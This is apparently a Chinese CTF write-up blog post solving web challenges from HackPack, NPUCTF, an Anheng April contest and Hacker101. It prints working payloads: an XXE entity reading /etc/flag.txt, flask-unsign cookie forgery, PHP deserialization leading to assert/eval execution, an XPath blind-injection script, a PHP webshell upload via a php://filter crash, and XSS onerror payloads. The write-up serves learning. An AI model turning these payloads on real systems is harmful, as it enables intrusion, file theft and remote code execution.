HackPack&NPUCTF&安恒四月

Hackpack CTF&&NPUCTF&&安恒四月赛&&hacker101CTF
部分题目

Super Secret Flag Vault
知识点:md5弱类型

Paster
知识点:xss

Cookie Forge
知识点:cookie伪造

Custom UI
知识点:xxe

RealEzPHP
知识点:PHP反序列化

ezlogin
知识点:Xpath盲注

ezinclude
知识点:hash拓展攻击、php://filter/string.strip_tags/resource在文件包含处导致php崩溃

Ezunserialize
知识点:php反序列化

HackPack CTF

Treasure Map

https://treasure-map.cha.hackpack.club/

打开题目发现有很多”岛屿”,我们需要找到有宝藏的那个”岛屿”

1587181406059随便点一个,发现url为:https://treasure-map.cha.hackpack.club/1,我们可以写一个简单的脚本来帮我们访问

1
2
3
4
5
6
7
8
9
10
import threading
import requests
for i in range(2260,10000):
payload = "https://treasure-map.cha.hackpack.club/"+str(i)
print(payload)
res = requests.get(payload)
if 'Not Found' in res.text:
continue
else:
break;

但是后来我放弃了,10000页,想到可以直接使用burp爆破吧
但是跑完了也没有什么发现,后来仔细一看那英文,or hidden…..然后直接看一下robots.txt。接着顺着出现的目录就能找到flag了…下次做题之前先扫目录!!!!1587189684781

Super Secret Flag Vault

这题简单,下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// this is how I store hashes right?
$hash = "0e770334890835629000008642775106";
if(array_key_exists("combination",$_REQUEST) && $_REQUEST["combination"] !== ''){
//Isn't it great that == works in every language?
if(array_key_exists("debug", $_REQUEST)){
echo "<br> ". md5($_REQUEST["combination"]);
}
if(md5($_REQUEST["combination"]) == $hash){
echo "<br> The Flag is flag{...}<br>";
}
else{
echo "<br>Wrong!<br>";
}

}
?>

一眼看上去是md5弱类型绕过,直接传参?combination=s878926199a就可以了

Paster

Come and BETA Test our new social networking site. Its like twitter but shorter
开始进去很蒙,不知道题目的意思是什么,只有一个输入框。先弹窗在说
一通乱输后发现后面输入的会变成一个链接
1587562773508

这有点像javascript伪协议,于是抱着试一下的心态改了一下前端代码,结果就出来了。。
1587562853859

这……
flag{x55_i5Nt_7hA7_bAD_R1Gh7?}

https://cookie-forge.cha.hackpack.club

题目为cookie伪造,当创建用户登录后提示You aren't a Flagship Loyalty Member! No cookies for you!!,猜测应该是要修改cookie让我们变成会员。1588085552293

应该要将flagship后面改为tru,但是一直没有找到合适的修改工具,后面看wp后才知道要使用flask-unsign
大佬使用的工具地址:https://pypi.org/project/flask-unsign/

安装

1
2
pip3 install flask-unsign[wordlist]
#首先要安装pip3

执行

1
2
//先使用工具解码
flask-unsign -d -c 'eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoidG90byJ9.Xp2SeA.1l6nDFaIsDZ8bCXcxdtORRVIBK0'

解密

1
flask-unsign --server https://cookie-forge.cha.hackpack.club/orders --unsign

伪造

1
flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"

最后抓包修改cookie得到flag

1588088107869

参考文章:https://ctftime.org/writeup/20339

Custom UI

https://custom-ui.cha.hackpack.club/

1588118639585

我们可以输入数据来更改按钮的颜色并向其中添加文本。如果输入 <>这种特殊符号,则会触发错误1588120582969

并且抓包后发现参数形式为

xdata=<button><color>aaa</color><value>aaa</value></button>

所以可以尝试XML外部实体(XXE)注入,并且将debug改为true就可以得到flag的位置
payload:

1
<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY aaa SYSTEM "file:///etc/flag.txt">]><button><color>&aaa;</color><value>iii</value></button>

这里要将其进行url编码,不然&符号会将传参分隔
1588121040216

https://maggick.fr/2020/04/hackpack-ctf-2020.html

NPUCTF

查源码

view-source:

RealEzPHP

查看源码,得到题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

一个简单的反序列化,可以试着构造命令执行assert(eval($_GET[a]))

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a;
$this->b;
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp();
$c->b = 'assert';
$c->a = 'eval($_POST[\'a\'])';
$a = serialize($c);
echo $a;

输出

O:8:”HelloPhp”:2:{s:1:”a”;s:17:”eval($_POST[‘a’])”;s:1:”b”;s:6:”assert”;}

最后执行b=phpinfo();便得到flag

1587433414613

ezlogin

提示:Xpath盲注
进入题目为一个登录框,心想应该是个sql注入之类的,但是发现基本提交一次后便会要求刷新后再提交。之后抓包发现提交的格式为<username>aaa</username><password>ddd</password><token>595d7b7058c14932e500d4c185e38TU4</token>,这个一般都会想到使用xxe来做,但是并没有成功。

Xpath基础

XPath是XML的路径语言,使用路径表达式来选取XML文档中的节点或者节点集

1.表达式

表达式 描述
nodename 选取此节点的所有子节点
/ 从根节点选取
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
. 选取当前节点
.. 选取当前节点的父节点
@ 选取属性或 @*:匹配任何属性节点
* 匹配任何元素节点

例如:

表达式 结果
bookstore 选取 bookstore 元素的所有子节点
/bookstore 选取根元素 bookstore
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素
//book 选取所有 book 子元素,而不管它们在文档中的位置
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置
//@lang 选取名为 lang 的所有属性

2.限定语:

表达式 结果
/bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
/bookstore/book[last()] 选取属于 bookstore 子元素的最后一个 book 元素
//title[@lang] 选取所有拥有名为 lang 的属性的 title 元素
//title[@lang=’eng’] 选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性
/bookstore/book[price>35.00]/title 选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00

3.通配符:

通配符 描述
* 匹配任何元素节点
@* 匹配任何属性节点
node() 匹配任何类型的节点

4.运算符:

运算符 描述
| 计算两个节点集
+、-、*、div 加、减、乘、除
= 等于
!= 不等于
<、<=、>、>= 小于、小于等于、大于、大于等于
or
and
mod 求余

5.函数:

函数名 描述
text() 元素值
position() 标签位置
name() 标签名称

Xpath注入

例:users.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
</root>

xml.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>

查询语句为:

1
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";

当使用万能密码:admin' or '1,这样被拼接为:

1
/root/users/user[username/text()='admin' or '1' and ...

1587537540177

当我们不知道用户名是,只需要再添加一个or就可以了' or 1 or '1

1587537688223

节点遍历

payload

1
admin'] | //* | //*['"p = "

1587537859815

xpath布尔盲注

1.判断节点数量

1
' or count(/)=1 or '1

count(/)=1 一直到 count(/)=n,判断出根节点有几个
2.获取根节点名
先获取长度

1
' or string-length(name(/*[1]))=1 or '

string-length(name(/*[1]))=1 一直到 string-length(name(/*[1]))=n,判断出第一个根节点的名字长度
获取内容

1
' or substring(name(/*[1]), 1, 1)='a' or '1

解题

先判断节点数量

‘ or count(/)=1 or ‘1

1587538382126

‘ or count(/)=2 or ‘1

1587538614776

判断有两个节点
接下来就可以写一个脚本来跑,但是必须要获取一下token,因为没过几秒就或过期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import time
import re
import requests
SESSION = requests.session()
strs = 'abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
pat = '<input type="hidden" id="token" value="(.*?)" />'
finallresult = ''
for i in range(1,34):
for j in strs:
url = 'http://6f3a4c27-52fb-486a-8091-42287feda8fc.node3.buuoj.cn/login.php'
res = SESSION.get(url=url)
token = re.compile(pat).findall(res.text)
#print(token)
# 第一个根节点为root
#payload = "<username>' or substring(name(/*[1]), "+str(i)+", 1)='"+str(j)+"' or '1</username><password>ddd</password><token>"+token[0]+"</token>"
# 第二个节点为accounts
#payload2 = "<username>' or substring(name(/root/*[1]),"+str(i)+", 1)='"+str(j)+"' or '1</username><password>ddd</password><token>"+token[0]+"</token>"
# 第三个节点为user
#payload3 = "<username>' or substring(name(/root/accounts/*[1]), "+str(i)+", 1)='"+str(j)+"' or '1</username><password>ddd</password><token>"+token[0]+"</token>"
# 遍历[1][2][3],在user节点下得到id,username,password
#payload4 = "<username>' or substring(name(/root/accounts/user/*[3]), "+str(i)+", 1)='"+str(j)+"' or '1</username><password>ddd</password><token>"+token[0]+"</token>"
#得到两个username guest 和 adm1n
#payload5 = "<username>' or substring(/root/accounts/user[2]/username/text(),"+str(i)+",1)='" + str(j) + "' or '1</username><password>ddd</password><token>" + token[0] + "</token>"
#解密后得到两个用户的密码为 123456 和 gtfly123
payload6 = "<username>' or substring(/root/accounts/user[2]/password/text()," + str(i) + ",1)='" + str(j) + "' or '1</username><password>ddd</password><token>" + token[0] + "</token>"

#print(payload2)
result = SESSION.post(url=url,headers=headers,data=payload6)
#print(result.text)
if '非法操作!' in result.text:
finallresult+=j
print(finallresult)
else:
time.sleep(0.01)

这里要注意发送请求的时候带上session,并且url后面加上login.php。在这两个地方被坑惨了。还有个地方就是要在最后用sleep函数休眠一段时间,不然因为跑得太快就会返回一个空token列表,然后报错,可能因计算机而异吧

第一个节点
1587541554243

第二个节点

1587542679751

第三个节点
1587542868654

跑密码
1587543651365

登陆后使用PHP伪协议读取flag,但是不允许出现php,base,等字符,可以通过大小写来绕过

file=Php://Filter/Read=convert.BAse64-encode/resource=/flag

1587544665138

Xpath注入指北

ezinclude

复现
右键源码发现<!--md5($secret.$name)===$pass -->,这里可以使用hash拓展攻击。
参考链接:https://www.bbsmax.com/A/x9J21XAEz6/

附上一位师傅的脚本:

1
2
3
4
5
6
7
8
9
10
import requests
import hashpumpy
import urllib
url='http://ha1cyon-ctf.fun:30004/',
for i in range(40):
a,b=hashpumpy.hashpump('a3dabbc779f2fbf8b6f56113ca78a7f9','123444','1',i)

req=requests.get(url+"name={}&pass={}".format(urllib.parse.quote(b),a))
if 'username/password error' not in req.text:
print(req.text,url+"name={}&pass={}".format(urllib.parse.quote(b),a))

但是发现在使用脚本的时候一些模块始终安装不成功,正准备放弃,又发现一位师傅的wp上说直接随便输入一个用户名然后把更新的cookie作为密码就可以过了。于是….
1587780891269

访问跳转的链接,发现直接跳转到404页面,那么可以抓包访问,之后得到文件包含
1587781172354

接着尝试伪协议读取文件,但是发现禁用了很多协议,然后可以扫一下有哪些文件,最后发现了一个dir.php
使用php://filter读出来。发现是枚举tmp目录下的文件的
1587782215974

参考文章:https://coomrade.github.io/2018/10/26/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9Bgetshell%E5%A7%BF%E5%8A%BF/
利用php7 segment fault特性php://filter/string.strip_tags/resource在文件包含处使用会导致php崩溃,从而留下临时文件,我们可以通过这里上传webshell
使用python上传

1
2
3
4
5
6
7
8
9
import requests
file_data={
'file': "<?php eval($_POST[1]);"
}
url="http://298a4fac-4f81-46c0-84dd-2815720dbec6.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)

之后访问dir.php得到文件名
1588084773450

之后使用文件包含访问便可以getshell
1588084998895

参考链接

安恒4月赛

Ezunserialize

进去得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

首先在C类里面有个__tostring()方法,它可以输出file_get_contents($this->c).如果让$this->c等于flag.php,那么便可以得到flag。
__tostring()方法被调用的条件为当一个类的实例对象;被当成一个字符串输出时调用

1
2
3
4
5
6
7
8
9
10
11
<?php
class C{
public $c;
function __toString(){
echo $this->c;
return 'nice';
}
}
$d = new C;
$d->c = 'flag.php';
echo $d;

1587796639986

但是

$a = new A($_GET[‘a’],$_GET[‘b’]);
$b = unserialize(read(write(serialize($a))));

并不能使我们想传什么就传什么,即不能传入flag.php.
但是在开头有两个方法,将一些字符换替换后个数与替换前不一致,导致了字符逃逸。
测试后发现其会将三个\0替换为*,其中还有两个看不见的字符chr(0)就是剪短3个字符,就相当于一个\0\0\0会多出来三个字符
1587799415474

先将我们需要拼接的payload输出出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
echo file_get_contents($this->c);
return '123';
}
}
$d = new C();
$d->c = "flag.php";
$v = new B();
$v->b = $d;
echo serialize($v);

得到

O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}}

输出一下read(write(serialize($a)));后的结果,将我们的payload拼接到password后面。如下图,现在的目的就是将选中的那一串吃掉,一共27个字符,所以要构造9个\0\0\0.
1587861559149

最终构造结果

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1111”;O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}}

Hacker101CTF

A little something to get you started

打开什么都没有,查看源码发现有个background.png,访问得到flag
1588057945968

Micro-CMS v1

这是一个可以编辑的页面,在编辑页面提示Markdownis supported, but scripts are not,所以应该要让其弹窗。但是过滤了script,所以使用

1
2
3
<img src="#" onerror=alert('xss')> 			#当图像加载失败是弹框
<button onfocus=alert(1) autofocus>
<input onclick="alert(document.domain)">

1588058921239

然后在标题的地方使用<img src="#" onerror=alert('xss')>返回首页时又出来一个flag
1588060302136

文章作者:CyzCc
最后更新:2020年06月25日 20:06:47
原始链接:https://cyzcc.vip/2020/04/29/CTF-WEB/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------